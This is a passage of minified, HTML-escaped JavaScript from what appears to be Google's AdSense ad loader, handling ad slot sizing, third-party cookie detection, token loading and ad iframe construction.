Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if(&quot;rtl&quot;===e&amp;&amp;c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var Yf=function(a,b,c){c||(c=yb?&quot;https&quot;:&quot;http&quot;);l.location&amp;&amp;&quot;https:&quot;==l.location.protocol&amp;&amp;&quot;http&quot;==c&amp;&amp;(c=&quot;https&quot;);return[c,&quot;://&quot;,a,b].join(&quot;&quot;)};var $f=function(a){var b=this;this.j=a;a.google_iframe_oncopy||(a.google_iframe_oncopy={handlers:{},upd:function(a,d){var c=Zf(&quot;rx&quot;,a);a:{if(a&amp;&amp;(a=a.match(&quot;dt=([^&amp;]+)&quot;))&amp;&amp;2==a.length){a=a[1];break a}a=&quot;&quot;}a=(new Date).getTime()-a;c=c.replace(/&amp;dtd=(\d+|-?M)/,&quot;&amp;dtd=&quot;+(1E5&lt;=a?&quot;M&quot;:0&lt;=a?a:&quot;-M&quot;));b.set(d,c);return c}});this.l=a.google_iframe_oncopy};$f.prototype.set=function(a,b){var c=this;this.l.handlers[a]=b;this.j.addEventListener&amp;&amp;this.j.addEventListener(&quot;load&quot;,function(){var b=c.j.document.getElementById(a);try{var e=b.contentWindow.document;if(b.onload&amp;&amp;e&amp;&amp;(!e.body||!e.body.firstChild))b.onload()}catch(f){}},!1)};var Zf=function(a,b){var c=new RegExp(&quot;\\b&quot;+a+&quot;=(\\d+)&quot;),d=c.exec(b);d&amp;&amp;(b=b.replace(c,a+&quot;=&quot;+(+d[1]+1||1)));return b},ag=Ra(&quot;var i=this.id,s=window.google_iframe_oncopy,H=s&amp;&amp;s.handlers,h=H&amp;&amp;H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&amp;&amp;d&amp;&amp;(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){try{h=s.upd(h,i)}catch(e){}w.location.replace(h)}}&quot;);var bg={&#039;&quot;&#039;:&#039;\\&quot;&#039;,&quot;\\&quot;:&quot;\\\\&quot;,&quot;/&quot;:&quot;\\/&quot;,&quot;\b&quot;:&quot;\\b&quot;,&quot;\f&quot;:&quot;\\f&quot;,&quot;\n&quot;:&quot;\\n&quot;,&quot;\r&quot;:&quot;\\r&quot;,&quot;\t&quot;:&quot;\\t&quot;,&quot;\x0B&quot;:&quot;\\u000b&quot;},cg=/\uffff/.test(&quot;\uffff&quot;)?/[\\&quot;\x00-\x1f\x7f-\uffff]/g:/[\\&quot;\x00-\x1f\x7f-\xff]/g,dg=function(){},fg=function(a,b,c){switch(typeof b){case &quot;string&quot;:eg(b,c);break;case &quot;number&quot;:c.push(isFinite(b)&amp;&amp;!isNaN(b)?String(b):&quot;null&quot;);break;case &quot;boolean&quot;:c.push(String(b));break;case &quot;undefined&quot;:c.push(&quot;null&quot;);break;case &quot;object&quot;:if(null==b){c.push(&quot;null&quot;);break}if(b instanceof Array||void 0!=b.length&amp;&amp;b.splice){var d=b.length;c.push(&quot;[&quot;);for(var e=&quot;&quot;,f=0;f&lt;d;f++)c.push(e),fg(a,b[f],c),e=&quot;,&quot;;c.push(&quot;]&quot;);break}c.push(&quot;{&quot;);d=&quot;&quot;;for(e in b)b.hasOwnProperty(e)&amp;&amp;(f=b[e],&quot;function&quot;!=typeof f&amp;&amp;(c.push(d),eg(e,c),c.push(&quot;:&quot;),fg(a,f,c),d=&quot;,&quot;));c.push(&quot;}&quot;);break;case &quot;function&quot;:break;default:throw Error(&quot;Unknown type: &quot;+typeof b)}},eg=function(a,b){b.push(&#039;&quot;&#039;);b.push(a.replace(cg,function(a){if(a in bg)return bg[a];var b=a.charCodeAt(0),c=&quot;\\u&quot;;16&gt;b?c+=&quot;000&quot;:256&gt;b?c+=&quot;00&quot;:4096&gt;b&amp;&amp;(c+=&quot;0&quot;);return bg[a]=c+b.toString(16)}));b.push(&#039;&quot;&#039;)};var gg={},hg=(gg.google_ad_modifications=!0,gg.google_analytics_domain_name=!0,gg.google_analytics_uacct=!0,gg),ig=function(a){try{if(l.JSON&amp;&amp;l.JSON.stringify&amp;&amp;l.encodeURIComponent){var b=function(){return this};if(Object.prototype.hasOwnProperty(&quot;toJSON&quot;)){var c=Object.prototype.toJSON;Object.prototype.toJSON=b}if(Array.prototype.hasOwnProperty(&quot;toJSON&quot;)){var d=Array.prototype.toJSON;Array.prototype.toJSON=b}var e=l.encodeURIComponent(l.JSON.stringify(a));try{var f=Yb?l.btoa(e):Zb(Ub(e),void 0)}catch(g){f=&quot;#&quot;+Zb(Ub(e),!0)}c&amp;&amp;(Object.prototype.toJSON=c);d&amp;&amp;(Array.prototype.toJSON=d);return f}}catch(g){G.j(237,g,void 0,void 0)}return&quot;&quot;},jg=function(a){a.google_page_url&amp;&amp;(a.google_page_url=String(a.google_page_url));var b=[];Hb(a,function(a,d){if(null!=a){try{var c=[];fg(new dg,a,c);var f=c.join(&quot;&quot;)}catch(g){}f&amp;&amp;(f=f.replace(/\//g,&quot;\\$&amp;&quot;),Kb(b,d,&quot;=&quot;,f,&quot;;&quot;))}});return b.join(&quot;&quot;)};var mg=function(){var a=l;this.l=a=void 0===a?l:a;this.v=&quot;https://securepubads.g.doubleclick.net/static/3p_cookie.html&quot;;this.j=2;this.o=[];this.s=!1;a:{a=kb(!1,50);b:{try{var b=l.parent;if(b&amp;&amp;b!=l){var c=b;break b}}catch(g){}c=null}c&amp;&amp;a.unshift(c);a.unshift(l);var d;for(c=0;c&lt;a.length;++c)try{var e=a[c],f=kg(e);if(f){this.j=lg(f);if(2!=this.j)break a;!d&amp;&amp;x(e)&amp;&amp;(d=e)}}catch(g){}this.l=d||this.l}},og=function(a){if(2!=ng(a)){for(var b=1==ng(a),c=0;c&lt;a.o.length;c++)try{a.o[c](b)}catch(d){}a.o=[]}},pg=function(a){var b=kg(a.l);b&amp;&amp;2==a.j&amp;&amp;(a.j=lg(b))},ng=function(a){pg(a);return a.j},rg=function(a){var b=qg;b.o.push(a);if(2!=b.j)og(b);else if(b.s||(Bb(b.l,&quot;message&quot;,function(a){var c=kg(b.l);if(c&amp;&amp;a.source==c&amp;&amp;2==b.j){switch(a.data){case &quot;3p_cookie_yes&quot;:b.j=1;break;case &quot;3p_cookie_no&quot;:b.j=0}og(b)}}),b.s=!0),kg(b.l))og(b);else{a=(new Ab(b.l.document)).j.createElement(&quot;IFRAME&quot;);a.src=b.v;a.name=&quot;detect_3p_cookie&quot;;a.style.visibility=&quot;hidden&quot;;a.style.display=&quot;none&quot;;a.onload=function(){pg(b);og(b)};try{b.l.document.body.appendChild(a)}catch(c){}}},sg=function(a,b){try{return!(!a.frames||!a.frames[b])}catch(c){return!1}},kg=function(a){return a.frames&amp;&amp;a.frames[fb(&quot;detect_3p_cookie&quot;)]||null},lg=function(a){return sg(a,&quot;3p_cookie_yes&quot;)?1:sg(a,&quot;3p_cookie_no&quot;)?0:2};var tg=function(a,b,c,d,e){d=void 0===d?&quot;&quot;:d;var f=a.createElement(&quot;link&quot;);f.rel=c;-1!=c.toLowerCase().indexOf(&quot;stylesheet&quot;)?b=Ia(b):b instanceof Ha?b=Ia(b):b instanceof Wa?b instanceof Wa&amp;&amp;b.constructor===Wa&amp;&amp;b.wa===Va?b=b.ba:(t(b),b=&quot;type_error:SafeUrl&quot;):(b instanceof Wa||(b=b.na?b.aa():String(b),Xa.test(b)||(b=&quot;about:invalid#zClosurez&quot;),b=Ya(b)),b=b.aa());f.href=b;d&amp;&amp;&quot;preload&quot;==c&amp;&amp;(f.as=d);e&amp;&amp;(f.nonce=e);if(a=a.getElementsByTagName(&quot;head&quot;)[0])try{a.appendChild(f)}catch(g){}};var ug=/^\.google\.(com?\.)?[a-z]{2,3}$/,vg=/\.(cn|com\.bi|do|sl|ba|by|ma)$/,wg=function(a){return ug.test(a)&amp;&amp;!vg.test(a)},xg=l,qg,yg=function(a){a=&quot;https://&quot;+(&quot;adservice&quot;+a+&quot;/adsid/integrator.js&quot;);var b=[&quot;domain=&quot;+encodeURIComponent(l.location.hostname)];W[3]&gt;=+new Date&amp;&amp;b.push(&quot;adsid=&quot;+encodeURIComponent(W[1]));return a+&quot;?&quot;+b.join(&quot;&amp;&quot;)},W,X,zg=function(){xg=l;W=xg.googleToken=xg.googleToken||{};var a=+new Date;W[1]&amp;&amp;W[3]&gt;a&amp;&amp;0&lt;W[2]||(W[1]=&quot;&quot;,W[2]=-1,W[3]=-1,W[4]=&quot;&quot;,W[6]=&quot;&quot;);X=xg.googleIMState=xg.googleIMState||{};wg(X[1])||(X[1]=&quot;.google.com&quot;);&quot;array&quot;==t(X[5])||(X[5]=[]);&quot;boolean&quot;==typeof X[6]||(X[6]=!1);&quot;array&quot;==t(X[7])||(X[7]=[]);r(X[8])||(X[8]=0)},Y={$:function(){return 0&lt;X[8]},Ba:function(){X[8]++},Ca:function(){0&lt;X[8]&amp;&amp;X[8]--},Da:function(){X[8]=0},Ha:function(){return!1},ma:function(){return X[5]},ka:function(a){try{a()}catch(b){l.setTimeout(function(){throw b},0)}},qa:function(){if(!Y.$()){var a=l.document,b=function(b){b=yg(b);a:{try{var c=jb();break a}catch(h){}c=void 0}var d=c;tg(a,b,&quot;preload&quot;,&quot;script&quot;,d);c=a.createElement(&quot;script&quot;);c.type=&quot;text/javascript&quot;;d&amp;&amp;(c.nonce=d);c.onerror=function(){return l.processGoogleToken({},2)};b=eb(b);c.src=Ia(b);try{(a.head||a.body||a.documentElement).appendChild(c),Y.Ba()}catch(h){}},c=X[1];b(c);&quot;.google.com&quot;!=c&amp;&amp;b(&quot;.google.com&quot;);b={};var d=(b.newToken=&quot;FBT&quot;,b);l.setTimeout(function(){return l.processGoogleToken(d,1)},1E3)}}},Ag=function(a){zg();var b=xg.googleToken[5]||0;a&amp;&amp;(0!=b||W[3]&gt;=+new Date?Y.ka(a):(Y.ma().push(a),Y.qa()));W[3]&gt;=+new Date&amp;&amp;W[2]&gt;=+new Date||Y.qa()},Bg=function(a){l.processGoogleToken=l.processGoogleToken||function(a,c){var b=a;b=void 0===b?{}:b;c=void 0===c?0:c;a=b.newToken||&quot;&quot;;var e=&quot;NT&quot;==a,f=parseInt(b.freshLifetimeSecs||&quot;&quot;,10),g=parseInt(b.validLifetimeSecs||&quot;&quot;,10);e&amp;&amp;!g&amp;&amp;(g=3600);var h=b[&quot;1p_jar&quot;]||&quot;&quot;;b=b.pucrd||&quot;&quot;;zg();1==c?Y.Da():Y.Ca();var k=xg.googleToken=xg.googleToken||{},m=0==c&amp;&amp;a&amp;&amp;na(a)&amp;&amp;!e&amp;&amp;r(f)&amp;&amp;0&lt;f&amp;&amp;r(g)&amp;&amp;0&lt;g&amp;&amp;na(h);e=e&amp;&amp;!Y.$()&amp;&amp;(!(W[3]&gt;=+new Date)||&quot;NT&quot;==W[1]);var n=!(W[3]&gt;=+new Date)&amp;&amp;0!=c;if(m||e||n)e=+new Date,f=e+1E3*f,g=e+1E3*g,1E-5&gt;Math.random()&amp;&amp;Fb(&quot;https://pagead2.googlesyndication.com/pagead/gen_204?id=imerr&amp;err=&quot;+c,void 0),k[5]=c,k[1]=a,k[2]=f,k[3]=g,k[4]=h,k[6]=b,zg();if(m||!Y.$()){c=Y.ma();for(a=0;a&lt;c.length;a++)Y.ka(c[a]);c.length=0}};Ag(a)},Cg=function(a){qg=qg||new mg;rg(function(b){b&amp;&amp;a()})};var Z=fb(&quot;script&quot;),Gg=function(){var a=B(v,L.J),b=B(v,L.I)||a;if((B(v,L.u)||B(v,L.U)||b)&amp;&amp;!v.google_sa_queue){v.google_sa_queue=[];v.google_sl_win=v;v.google_process_slots=function(){return Dg(v,!a)};var c=b?Eg():Eg(&quot;/show_ads_impl_single_load.js&quot;);tg(v.document,c,&quot;preload&quot;,&quot;script&quot;);b?(b=document.createElement(&quot;IFRAME&quot;),b.id=&quot;google_shimpl&quot;,b.style.display=&quot;none&quot;,v.document.documentElement.appendChild(b),Fe(v,&quot;google_shimpl&quot;,&quot;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&quot;+(&quot;&lt;&quot;+Z+&quot;&gt;&quot;)+&quot;google_sailm=true;google_sl_win=window.parent;google_async_iframe_id=&#039;google_shimpl&#039;;&quot;+(&quot;&lt;/&quot;+Z+&quot;&gt;&quot;)+Fg()+&quot;&lt;/body&gt;&lt;/html&gt;&quot;),b.contentWindow.document.close()):lb(v.document,c)}},Dg=fd(215,function(a,b,c){c=void 0===c?+new Date:c;var d=a.google_sa_queue,e=d.shift();&quot;function&quot;==t(e)&amp;&amp;ed(216,gd,e);d.length&amp;&amp;(b||50&lt;+new Date-c?a.setTimeout(function(){return Dg(a,b)},0):Dg(a,b,c))}),Fg=function(a){return[&quot;&lt;&quot;,Z,&#039; src=&quot;&#039;,Eg(void 0===a?&quot;/show_ads_impl.js&quot;:a),&#039;&quot;&gt;&lt;/&#039;,Z,&quot;&gt;&quot;].join(&quot;&quot;)},Eg=function(a){a=void 0===a?&quot;/show_ads_impl.js&quot;:a;var b=xb?&quot;https&quot;:&quot;http&quot;;a:{if(vb)try{var c=v.google_cafe_host||v.top.google_cafe_host;if(c){var d=c;break a}}catch(e){}d=Ba(&quot;&quot;,&quot;pagead2.googlesyndication.com&quot;)}return Yf(d,[&quot;/pagead/js/&quot;,ub(),&quot;/r20170110&quot;,a,&quot;&quot;].join(&quot;&quot;),b)},Hg=function(a,b,c,d){return function(){var e=!1;d&amp;&amp;Uf().al(3E4);try{Fe(a,b,c),e=!0}catch(g){var f=nd().google_jobrunner;Tf(f)&amp;&amp;f.rl()}e&amp;&amp;(e=Zf(&quot;google_async_rrc&quot;,c),(new $f(a)).set(b,Hg(a,b,e,!1)))}},Ig=function(a){var b=[&quot;&lt;iframe&quot;];Hb(a,function(a,d){null!=a&amp;&amp;b.push(&quot; &quot;+d+&#039;=&quot;&#039;+Ra(a)+&#039;&quot;&#039;)});b.push(&quot;&gt;&lt;/iframe&gt;&quot;);return b.join(&quot;&quot;)},Kg=function(a,b,c){Jg(a,b,c,function(a,b,f){a=a.document;for(var d=b.id,e=0;!d||a.getElementById(d);)d=&quot;aswift_&quot;+e++;b.id=d;b.name=d;d=Number(f.google_ad_width);e=Number(f.google_ad_height);16==f.google_reactive_ad_format?(f=a.createElement(&quot;div&quot;),a=Ee(b,d,e),f.innerHTML=a,c.appendChild(f.firstChild)):(f=Ee(b,d,e),c.innerHTML=f);return b.id})},Jg=function(a,b,c,d){var e={},f=b.google_ad_width,g=b.google_ad_height;null!=f&amp;&amp;(e.width=f&amp;&amp;&#039;&quot;&#039;+f+&#039;&quot;&#039;);null!=g&amp;&amp;(e.height=g&amp;&amp;&#039;&quot;&#039;+g+&#039;&quot;&#039;);e.frameborder=&#039;&quot;0&quot;&#039;;e.marginwidth=&#039;&quot;0&quot;&#039;;e.marginheight=&#039;&quot;0&quot;&#039;;e.vspace=&#039;&quot;0&quot;&#039;;e.hspace=&#039;&quot;0&quot;&#039;;e.allowtransparency=&#039;&quot;true&quot;&#039;;e.scrolling=&#039;&quot;no&quot;&#039;;e.allowfullscreen=&#039;&quot;true&quot;&#039;;e.onload=&#039;&quot;&#039;+ag+&#039;&quot;&#039;;d=d(a,e,b);f=b.google_ad_output;e=b.google_ad_format;g=b.google_ad_width||0;var h=b.google_ad_height||0;e||&quot;html&quot;!=f&amp;&amp;null!=f||(e=g+&quot;x&quot;+h);f=!b.google_ad_slot||b.google_override_format||!xa[b.google_ad_width+&quot;x&quot;+b.google_ad_height]&amp;&amp;&quot;aa&quot;==b.google_loader_used;e&amp;&amp;f?e=e.toLowerCase():e=&quot;&quot;;b.google_ad_format=e;if(!r(b.google_reactive_sra_index)||!b.google_ad_unit_key){e=[b.google_ad_slot,b.google_orig_ad_format||b.google_ad_format,b.google_ad_type,b.google_orig_ad_width||b.google_ad_width,b.google_orig_ad_height||b.google_ad_height];f=[];g=0;for(h=c;h&amp;&amp;25&gt;g;h=h.parentNode,++g)f.push(9!==h.nodeType&amp;&amp;h.id||&quot;&quot;);(f=f.join())&amp;&amp;e.push(f);b.google_ad_unit_key=ob(e.join(&quot;:&quot;)).toString();e=[];for(f=0;c&amp;&amp;25&gt;f;++f){g=(g=9!==c.nodeType&amp;&amp;c.id)?&quot;/&quot;+g:&quot;&quot;;a:{if(c&amp;&amp;c.nodeName&amp;&amp;c.parentElement){h=c.nodeName.toString().toLowerCase();for(var k=c.parentElement.childNodes,m=0,n=0;n&lt;k.length;++n){var p=k[n];if(p.nodeName&amp;&amp;p.nodeName.toString().toLowerCase()===h){if(c===p){h=&quot;.&quot;+m;break a}++m}}}h=&quot;&quot;}e.push((c.nodeName&amp;&amp;c.nodeName.toString().toLowerCase())+g+h);c=c.parentElement}c=e.join()+&quot;:&quot;;e=a;f=[];if(e)try{var q=e.parent;for(g=0;q&amp;&amp;q!==e&amp;&amp;25&gt;g;++g){var u=q.frames;for(h=0;h&lt;u.length;++h)if(e===u[h]){f.push(h);break}e=q;q=e.parent}}catch(J){}b.google_ad_dom_fingerprint=ob(c+f.join()).toString()}q=jg(b);u=ig(b);var z;b=b.google_ad_client;if(!Ge)b:{c=kb();for(e=0;e&lt;c.length;e++)try{if(z=c[e].frames.google_esf){Ge=z;break b}}catch(J){}Ge=null}Ge?z=&quot;&quot;:(z={style:&quot;display:none&quot;},/[^a-z0-9-]/.test(b)?z=&quot;&quot;:(z[&quot;data-ad-client&quot;]=De(b),z.id=&quot;google_esf&quot;,z.name=&quot;google_esf&quot;,z.src=Yf(zb(),[&quot;/pagead/html/&quot;,ub(),&quot;/r20170110/zrt_lookup.html#&quot;].join(&quot;&quot;)),z=Ig(z)));b=z;z=B(a,L.u)||B(a,L.U)||B(a,L.I)||B(a,L.J);c=B(a,L.I)||B(a,L.J)||B(a,je.u);e=va;f=(new Date).getTime();a.google_t12n_vars=Td;g=a;g=Eb(Db(g))||g;g=g.google_unique_id;B(a,je.u)?(h=&quot;&lt;&quot;+Z+&quot;&gt;window.google_process_slots=function(){window.google_sa_impl({iframeWin: window, pubWin: window.parent});&quot;+(&quot;};&lt;/&quot;+Z+&quot;&gt;&quot;),k=Fg(),h+=k):h=B(a,L.m)?Fg(&quot;/show_ads_impl.js?&quot;+L.m):B(a,L.u)||B(a,L.U)?&quot;&lt;&quot;+Z+&quot;&gt;window.parent.google_sa_impl.call(&quot;+(&quot;this, window, document, location);&lt;/&quot;+Z+&quot;&gt;&quot;):B(a,L.I)||B(a,L.J)?&quot;&lt;&quot;+Z+&quot;&gt;window.parent.google_sa_impl({iframeWin: window, pubWin: window.parent});&lt;/&quot;+Z+&quot;&gt;&quot;:B(a,me.u)?Fg(&quot;/show_ads_impl_le.js&quot;):B(a,me.m)?Fg(&quot;/show_ads_impl_le_c.js&quot;):Fg();q=[&quot;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&quot;,b,&quot;&lt;&quot;+Z+&quot;&gt;&quot;,q,&quot;google_sailm=&quot;+c+&quot;;&quot;,z?&quot;google_sl_win=window.parent;&quot;:&quot;&quot;,&quot;google_unique_id=&quot;+(&quot;number&quot;===typeof g?g:0)+&quot;;&quot;,&#039;google_async_iframe_id=&quot;&#039;+d+&#039;&quot;;&#039;,&quot;google_start_time=&quot;+e+&quot;;&quot;,u?&#039;google_pub_vars=&quot;&#039;+u+&#039;&quot;;&#039;:&quot;&quot;,&quot;google_bpp=&quot;+(f&gt;e?f-e:1)+&quot;;&quot;,&quot;google_async_rrc=0;google_iframe_start_time=new Date().getTime();&quot;,&quot;&lt;/&quot;+Z+&quot;&gt;&quot;,h,&quot;&lt;/body&gt;&lt;/html&gt;&quot;].join(&quot;&quot;);b=a.document.getElementById(d)?Vf:Wf;d=Hg(a,d,q,!0);z?(a.google_sa_queue=a.google_sa_queue||[],a.google_sa_impl?b(d):a.google_sa_queue.push(d)):b(d)},Lg=function(a,b){var c=navigator;a&amp;&amp;b&amp;&amp;c&amp;&amp;(a=a.document,b=De(b),/[^a-z0-9-]/.test(b)||((c=Ja(&quot;r20160913&quot;))&amp;&amp;(c+=&quot;/&quot;),lb(a,Yf(&quot;pagead2.googlesyndication.com&quot;,&quot;/pub-config/&quot;+c+b+&quot;.js&quot;))))};var Mg=function(a,b,c){for(var d=a.attributes,e=d.length,f=0;f&lt;e;f++){var g=d[f];if(/data-/.test(g.name)){var h=Ja(g.name.replace(&quot;data-matched-content&quot;,&quot;google_content_recommendation&quot;).replace(&quot;data&quot;,&quot;google&quot;).replace(/-/g,&quot;_&quot;));if(!b.hasOwnProperty(h)){g=g.value;var k={};k=(k.google_reactive_ad_format=za,k.google_allow_expandable_ads=tb,k);g=k.hasOwnProperty(h)?k[h](g,null):g;null===g||(b[h]=g)}}}if(c.document&amp;&amp;c.document.body&amp;&amp;!Lf(b)&amp;&amp;!b.google_reactive_ad_format&amp;&amp;(d=parseInt(a.style.width,10),e=Xf(a,c),0&lt;e&amp;&amp;d&gt;e))if(f=parseInt(a.style.height,10),d=!!xa[d+&quot;x&quot;+f],B(c,fe.Y))b.google_ad_resize=0;else{h=e;if(d)if(g=ya(e,f))h=g,b.google_ad_format=g+&quot;x&quot;+f+&quot;_0ads_al&quot;;else throw Error(&quot;TSS=&quot;+e);b.google_ad_resize=1;b.google_ad_width=h;d||(b.google_ad_format=null,b.google_override_format=!0);e=h;a.style.width=e+&quot;px&quot;;f=Cf(e,&quot;auto&quot;,c,a,b);h=e;f.w.l(c,h,b,a);df(f,h,b);f=f.w;b.google_responsive_formats=null;f.minWidth()&gt;e&amp;&amp;!d&amp;&amp;(b.google_ad_width=f.minWidth(),a.style.width=f.minWidth()+&quot;px&quot;)}d=b.google_reactive_ad_format;if(!b.google_enable_content_recommendations||1!=d&amp;&amp;2!=d){d=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0);a:if(e=ta(Cf,d,&quot;auto&quot;,c,a,b,!0),f=B(c,&quot;182982000&quot;),h=B(c,&quot;182982100&quot;),(f||h)&amp;&amp;ef()&amp;&amp;!b.google_reactive_ad_format&amp;&amp;!Lf(b)){for(h=a;h;h=h.parentElement){if(k=g=y(h,c)){b:if(g=g.position,k=[&quot;static&quot;,&quot;relative&quot;],na(k))g=na(g)&amp;&amp;1==g.length?k.indexOf(g,0):-1;else{for(var m=0;m&lt;k.length;m++)if(m in k&amp;&amp;k[m]===g){g=m;break b}g=-1}k=0&lt;=g}if(!k)break a}b.google_resizing_allowed=!0;f?(f={},df(e(),d,f),b.google_resizing_width=f.google_ad_width,b.google_resizing_height=f.google_ad_height):b.google_ad_format=&quot;auto&quot;}if(d=Lf(b))e=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0),f=(f=Mf(d,e,a,b,c))?f:Cf(e,b.google_ad_format,c,a,b,b.google_resizing_allowed),f.w.l(c,e,b,a),df(f,e,b),1!=d&amp;&amp;(b=f.w.height(),a.style.height=b+&quot;px&quot;);else{if(!rb.test(b.google_ad_width)&amp;&amp;!qb.test(a.style.width)||!rb.test(b.google_ad_height)&amp;&amp;!qb.test(a.style.height)){if(d=y(a,c))a.style.width=d.width,a.style.height=d.height,Je(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;d=Db(c);b.google_responsive_auto_format=d?d.data&amp;&amp;&quot;rspv&quot;==d.data.autoFormat?13:14:12}else Je(a.style,b),b.google_ad_output&amp;&amp;&quot;html&quot;!=b.google_ad_output||300!=b.google_ad_width||250!=b.google_ad_height||(d=a.style.width,a.style.width=&quot;100%&quot;,e=a.offsetWidth,a.style.width=d,b.google_available_width=e);C(c,&quot;153762914&quot;)||C(c,&quot;153762975&quot;)||C(c,&quot;164692081&quot;)||Of(c)?(b.google_resizing_allowed=!1,d=!0):d=!1;if(d&amp;&amp;(e=a.parentElement)){d=b.google_ad_format;if(f=Nf.test(d)||!d){f=Rb(c);if(!(h=null==f||b.google_reactive_ad_format)){h=I(f);if(!(f=!(488&gt;h&amp;&amp;320&lt;h)||!(f.innerHeight&gt;=f.innerWidth)||Oe(e,c)))a:{b:{f=e;for(h=0;100&gt;h&amp;&amp;f;h++){if((g=y(f,c))&amp;&amp;-1!=g.display.indexOf(&quot;table&quot;)){f=!0;break b}f=f.parentElement}f=!1}if(f)for(f=e,h=!1,g=0;100&gt;g&amp;&amp;f;g++){k=f.style;if(&quot;auto&quot;==k.margin||&quot;auto&quot;==k.marginLeft||&quot;auto&quot;==k.marginRight)h=!0;if(h){f=!0;break a}f=f.parentElement}f=!1}h=f}f=(h?!1:!0)&amp;&amp;Le(a,c)}if(f&amp;&amp;(f=a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,h=I(c))&amp;&amp;(g=y(e,c))&amp;&amp;(g=Te(g,h,f),m=g.pa,k=g.direction,g=g.la,!(5&gt;g||.4&lt;g/h))){g=b.google_resizing_allowed=!0;if(C(c,&quot;164692081&quot;)||Of(c))g=Pe(e,c);e=-1*(Se(e)+m)+&quot;px&quot;;if(C(c,&quot;153762975&quot;)||Of(c))&quot;rtl&quot;==k?a.style.marginRight=e:a.style.marginLeft=e,a.style.width=h+&quot;px&quot;,a.style.zIndex=1932735282;e=&quot;&quot;;k=parseInt(a.offsetHeight||a.style.height||b.google_ad_height,10);d&amp;&amp;(d=d.match(Nf),e=d[3],k=parseInt(d[2],10));g&amp;&amp;Of(c)&amp;&amp;(d=f/k,1.15&lt;d&amp;&amp;(Ke(a,c)&lt;rd(c).clientHeight||(k=3&gt;d?Math.round(5*h/6):Math.round(k*h/f))));if(C(c,&quot;153762975&quot;)||Of(c))b.google_ad_format=h+&quot;x&quot;+k+e,b.google_ad_width=h,b.google_ad_height=k,a.style.height=k+&quot;px&quot;;b.google_resizing_width=h;b.google_resizing_height=k}}C(c,ae.u)&amp;&amp;12==b.google_responsive_auto_format&amp;&amp;(b.efwr=Re(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b))}}else b.google_ad_width=I(c),b.google_ad_height=50,a.style.display=&quot;none&quot;};var Ng=!1,Og=0,Pg=!1,Qg=!1,Rg=function(a){return Qb.test(a.className)&amp;&amp;&quot;done&quot;!=a.getAttribute(&quot;data-adsbygoogle-status&quot;)},Tg=function(a,b){var c=window;a.setAttribute(&quot;data-adsbygoogle-status&quot;,&quot;done&quot;);Sg(a,b,c)},Sg=function(a,b,c){var d=Pb();d.google_spfd||(d.google_spfd=Mg);(d=b.google_reactive_ads_config)||Mg(a,b,c);if(!Ug(a,b,c)){if(d){if(Ng)throw new H(&quot;Only one &#039;enable_page_level_ads&#039; allowed per page.&quot;);Ng=!0}else b.google_ama||Mb(c);Pg||(Pg=!0,Lg(c,b.google_ad_client));Hb(hg,function(a,d){b[d]=b[d]||c[d]});b.google_loader_used=&quot;aa&quot;;b.google_reactive_tag_first=1===Og;if((d=b.google_ad_output)&amp;&amp;&quot;html&quot;!=d&amp;&amp;&quot;js&quot;!=d)throw new H(&quot;No support for google_ad_output=&quot;+d);ed(164,gd,function(){Kg(c,b,a)})}},Ug=function(a,b,c){var d=b.google_reactive_ads_config;if(d){var e=d.page_level_pubvars;var f=(pa(e)?e:{}).google_tag_origin}if(b.google_ama||&quot;js&quot;===b.google_ad_output)return!1;var g=b.google_ad_slot;e=c.google_ad_modifications;!e||Sb(e.ad_whitelist,g,f||b.google_tag_origin)?e=null:(f=e.space_collapsing||&quot;none&quot;,e=(g=Sb(e.ad_blacklist,g))?{ia:!0,ra:g.space_collapsing||f}:e.remove_ads_by_default?{ia:!0,ra:f}:null);if(e&amp;&amp;e.ia&amp;&amp;&quot;on&quot;!=b.google_adtest)return&quot;slot&quot;==e.ra&amp;&amp;(null!==sb(a.getAttribute(&quot;width&quot;))&amp;&amp;a.setAttribute(&quot;width&quot;,0),null!==sb(a.getAttribute(&quot;height&quot;))&amp;&amp;a.setAttribute(&quot;height&quot;,0),a.style.width=&quot;0px&quot;,a.style.height=&quot;0px&quot;),!0;if((e=y(a,c))&amp;&amp;&quot;none&quot;==e.display&amp;&amp;!(&quot;on&quot;==b.google_adtest||0&lt;b.google_reactive_ad_format||d))return c.document.createComment&amp;&amp;a.appendChild(c.document.createComment(&quot;No ad requested because of display:none on the adsbygoogle tag&quot;)),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&amp;&amp;8!==b.google_reactive_ad_format||!a?!1:(l.console&amp;&amp;l.console.warn(&quot;Adsbygoogle tag with data-reactive-ad-format=&quot;+b.google_reactive_ad_format+&quot; is deprecated. Check out page-level ads at https://www.google.com/adsense&quot;),!0)},Vg=function(a){for(var b=document.getElementsByTagName(&quot;ins&quot;),c=0,d=b[c];c&lt;b.length;d=b[++c]){var e=d;if(Rg(e)&amp;&amp;&quot;reserved&quot;!=e.getAttribute(&quot;data-adsbygoogle-status&quot;)&amp;&amp;(!a||d.id==a))return d}return null},Wg=function(a){if(!Qg){Qg=!0;try{var b=l.localStorage.getItem(&quot;google_ama_config&quot;)}catch(da){b=null}try{var c=b?new oc(b?JSON.parse(b):null):null}catch(da){c=null}if(b=c)if(c=ec(b,pc,3),!c||E(c,1)&lt;=+new Date)try{l.localStorage.removeItem(&quot;google_ama_config&quot;)}catch(da){kd(l,{lserr:1})}else try{var d=dc(b,5);if(0&lt;d.length){var e=new rc,f=d||[];2&lt;e.v?e.l[2+e.s]=f:(bc(e),e.o[2]=f);var g=e}else b:{f=l.location.pathname;var h=fc(b,rc,7);e={};for(d=0;d&lt;h.length;++d){var k=E(h[d],1);r(k)&amp;&amp;!e[k]&amp;&amp;(e[k]=h[d])}for(var 